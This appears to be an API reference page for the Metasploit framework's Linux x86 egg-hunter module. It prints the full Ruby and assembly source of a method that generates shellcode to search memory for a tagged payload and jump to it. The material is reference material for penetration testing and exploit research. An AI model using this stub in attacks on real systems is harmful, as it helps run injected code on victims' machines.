Module: Rex::Exploitation::Egghunter::Linux::X86

Defined in:
lib/rex/exploitation/egghunter.rb

Constant Summary collapse

Alias =
ARCH_X86

Instance Method Summary collapse

Instance Method Details

#hunter_stub(payload, badchars = '', opts = {}) ⇒ Object

The egg hunter stub for linux/x86.

Raises:


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# File 'lib/rex/exploitation/egghunter.rb', line 260

def hunter_stub(payload, badchars = '', opts = {})

  startreg = opts[:startreg]

  raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
  marker = "0x%x" % opts[:eggtag].unpack('V').first

  checksum = checksum_stub(payload, badchars, opts)

  startstub = ''
  if startreg
    if startreg.downcase != 'ecx'
      startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
    else
      startstub = "\n\tjmp next_addr"
    end
  end
  startstub << "\n\t" if startstub.length > 0

  assembly = <<EOS
  cld
#{startstub}
check_readable:
  or cx,0xfff
next_addr:
  inc ecx
  push 0x43   ; use 'sigaction' syscall
  pop eax
  int 0x80
  cmp al,0xf2
  je check_readable

check_for_tag:
  ; check that the tag matches once
  mov eax,#{marker}
  mov edi,ecx
  scasd
  jne next_addr
  ; it must match a second time too
  scasd
  jne next_addr

  ; check the checksum if the feature is enabled
#{checksum}

  ; jump to the payload
  jmp edi
EOS

  assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

  # return the stub
  assembled_code
end